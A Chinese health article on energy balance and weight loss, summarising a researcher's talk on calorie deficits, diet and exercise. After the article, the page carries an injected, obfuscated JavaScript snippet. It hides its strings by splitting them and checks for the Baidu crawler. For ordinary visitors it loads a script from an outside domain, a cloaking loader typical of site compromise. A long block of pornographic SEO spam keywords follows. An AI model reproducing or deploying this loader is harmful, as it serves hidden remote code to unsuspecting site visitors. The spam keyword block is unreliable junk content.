當(dāng)前位置:首頁 > 減肥 > 減肥方法 > 正文

能量平衡與減肥的關(guān)系

2017-03-12 13:18:10  來源:360常識網(wǎng)   熱度:
導(dǎo)語:能量平衡是保持體重和享有健康的關(guān)鍵,如果你想減肥,你需要形成熱量差,即攝入的熱量少于消耗的熱量。而科學(xué)實(shí)驗(yàn)證明,只要總熱量控制好,飲食結(jié)構(gòu)本身對減肥的效果沒有差別,同時(shí)增加運(yùn)動能有效提高減肥的成功率。

2015年8月21日,在由國際生命科學(xué)學(xué)會中國辦事處主辦的“運(yùn)動是良醫(yī)”媒體交流會上,來自美國人類學(xué)大學(xué)的羅賓·舒克(Robin Shook)博士分享了能量平衡與健康、肥胖的關(guān)系。并解密了導(dǎo)致肥胖的原因,強(qiáng)調(diào)了運(yùn)動對保持健康體重和減肥的重要性。

舒克博士說美國目前正面臨著肥胖率高居不下的問題,中國也正在或者即將面臨相同的處境。想要預(yù)防和治療肥胖,首先需要了解肥胖的根本原因。肥胖的本質(zhì)就是能量過剩,如果你吃入過多的熱量,吃進(jìn)去的熱量比消耗的多,你就會長胖。

早在大約24年前,科學(xué)家用一群雙胞胎做過實(shí)驗(yàn),在一百天里,所有參與實(shí)驗(yàn)的人員每天都多吃1000大卡的熱量,100天后發(fā)現(xiàn),每一對雙胞胎,體重增長情況基本相同,但是不同的雙胞胎之間,體重增長的幅度卻不相同。最大的體重增長幅度為13.3kg,而最小的增長幅度只有4.3kg。為什么多吃同樣多的熱量,體重增長的幅度差距如此之大呢?可見減肥遠(yuǎn)遠(yuǎn)不止少吃這么簡單,影響能量平衡的因素是復(fù)雜的。

導(dǎo)致現(xiàn)代肥胖率劇增的主要因素:

影響體重的因素很復(fù)雜,例如進(jìn)食行為、身體活動情況、體質(zhì)、心理因素、社會心理因素等。例如:

環(huán)境因素

環(huán)境因素會影響人們的進(jìn)食行為。和我們的遠(yuǎn)古祖先相比,現(xiàn)代人的生活環(huán)境食物誘惑簡直無處不在,小吃店、餐館等滿街都可以買到食物。因此吃入的熱量很容易超標(biāo),從而導(dǎo)致了肥胖率的攀升。

身體活動

我們的身體在睡眠、運(yùn)動、工作、出行、做家務(wù)等過程都會消耗熱量。有研究數(shù)據(jù)表明,與上個(gè)世紀(jì)60年代相比,現(xiàn)代人的身體活動消耗熱量明顯的減少。例如腦力活動者增加(意味著久坐增加)、體力勞動者減少,因此每天走路消耗的熱量減少大約125-150大卡;而隨著洗衣機(jī)洗碗機(jī)等家電設(shè)備的完善,人們做家務(wù)的時(shí)間也減少,主婦們平均每周做家務(wù)時(shí)間已經(jīng)從60年代的25-26小時(shí)減少到現(xiàn)在的13小時(shí)。

人們出行的方式也從步行和自行車變成汽車。以孩子為例,上個(gè)世紀(jì)60年代有42%的孩子走路上學(xué),現(xiàn)在只有1%。也就是說以前我們出行走路可能可以消耗160大卡,現(xiàn)在坐車,只消耗4大卡。

總能量決定了你是否會長胖

科學(xué)家們把參與者分成三組,接受3個(gè)月的實(shí)驗(yàn)觀察,他們每天都比推薦值多吃39.4%的熱量,但是具體的食物成分有所不同。低蛋白質(zhì)的一組蛋白質(zhì)-脂肪-碳水化合物的比例為6%-52%-42%;中蛋白質(zhì)的一組為15%-44%-41%;高蛋白質(zhì)的一組為26%-33%-41%。

也就是說他們攝入的碳水化合物比例基本相同,區(qū)別是蛋白質(zhì)和脂肪的比例。三個(gè)月之后哪一組長胖得更多呢?很多人都以為是第一組,因?yàn)樗麄兊闹颈壤罡摺5鞘聦?shí)上,單純從控制體重的角度來說,三組體重增長的幅度都很相近。因此決定你長胖的不是來自哪一種食物成分的熱量,而是總熱量。

因此要想減肥,就需要打破能量平衡,形成能量差,即攝入熱量小于身體支出的熱量。

如何形成熱量差:節(jié)食?運(yùn)動?

科學(xué)家們做過另一個(gè)實(shí)驗(yàn),將參與者分成四組,對照組保持原有生活方式不變,其余有兩組每天攝入的總熱量相同,都是降低25%的能量攝入,但是食物成分不同。實(shí)驗(yàn)組第一組只節(jié)食:只通過飲食降低25%的熱量攝入;第二組節(jié)食+運(yùn)動:通過飲食降低12.5%熱量攝入,并通過運(yùn)動增加12.5%的消耗(每次運(yùn)動45分鐘,每周5天);第三組極端節(jié)食:每天吃極低熱量(850大卡),最后發(fā)現(xiàn)只節(jié)食的的那一組降低的體重情況和節(jié)食+運(yùn)動那一組降低的體重差不多。因此無論你是控制飲食還是增加運(yùn)動,對減肥的效果基本一致,只要能形成熱量差,就能有效減肥。

但是,減肥不需要運(yùn)動嗎?

舒克博士介紹了另一個(gè)科學(xué)實(shí)驗(yàn):讓參與者每天減少熱量攝入15%,在六周里研究人員記錄下他們吃進(jìn)去的所有東西和所有的運(yùn)動情況。最后所有人的體重都下降了,但是體重下降的幅度卻不一樣,有的人體重下降了12%,有的人只下降4%??茖W(xué)家分析發(fā)現(xiàn),體重下降最多的人,在控制飲食后,身體活動沒有減少,也就是身體消耗熱量不變,而體重下降最少的人,控制飲食的同時(shí)身體活動也減少了。體重下降最多的人,每天坐著(看電視、躺著)等的時(shí)間更短,體重下降最少的人花更多的時(shí)間坐著不動。

因此當(dāng)你試圖通過控制飲食來減肥時(shí),決定你是否成功的關(guān)鍵在于你的身體活動情況,即你是否有充足的身體活動??茖W(xué)的運(yùn)動可以讓減肥成功率增加60%。

舒克博士及其團(tuán)隊(duì)對450人的隊(duì)列進(jìn)行了一年的跟蹤研究,發(fā)現(xiàn)從最開始,經(jīng)常運(yùn)動的人體重就比較低,缺少運(yùn)動的人體重更高。同時(shí),經(jīng)常運(yùn)動的人盡管食欲會增加,但是會達(dá)成新的能量平衡,體重沒有增長;但是缺少運(yùn)動的人,更容易出現(xiàn)進(jìn)食紊亂、無法控制食欲的情況,從而攝入過多熱量,更容易長胖。

運(yùn)動是一個(gè)可以驅(qū)動能量消耗的強(qiáng)大馬達(dá),可以讓你更容易實(shí)現(xiàn)能量平衡和減肥。因此為了更健康的身體狀況和體重指標(biāo),你需要養(yǎng)成健康的運(yùn)動習(xí)慣。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品天天在线| 国产精品2018| 亚洲国产精品无码久久久| 久久亚洲国产午夜精品理论片 | 91精品国产福利在线观看麻豆| 精品日产一区二区三区手机| 久久99精品久久久久久9蜜桃 | 精品亚洲成a人片在线观看| 国产精品白丝AV网站| 国产在视频线精品视频二代| 亚洲一区精品无码| 亚洲精品无码鲁网中文电影| 99久久免费国产精精品| 91精品国产福利在线导航| 久久国产精品一区| 国产精品自在在线午夜福利| 国产精品亚洲综合专区片高清久久久| 一本大道无码人妻精品专区| 人妻老妇乱子伦精品无码专区| 国产精品女在线观看| 国产亚洲精品欧洲在线观看| 精品91一区二区三区| 青青热久久国产久精品 | 老司机无码精品A| 久久久久久亚洲精品无码| 国产精品卡一卡二卡三| 精品综合久久久久久蜜月| 国产精品自在线拍国产手青青机版| 国产精品一区二区久久沈樵| 日韩福利视频精品专区| 精品午夜福利1000在线观看| 国产在线无码精品电影网| 国产精品区免费视频| 少妇精品久久久一区二区三区 | 亚洲精品中文字幕无乱码| jizz国产精品jizz中国| 911精品国产自产在线观看| 亚洲色无码国产精品网站可下载| 精品精品国产自在97香蕉| 拍国产乱人伦偷精品视频| 精品一区二区三区高清免费观看|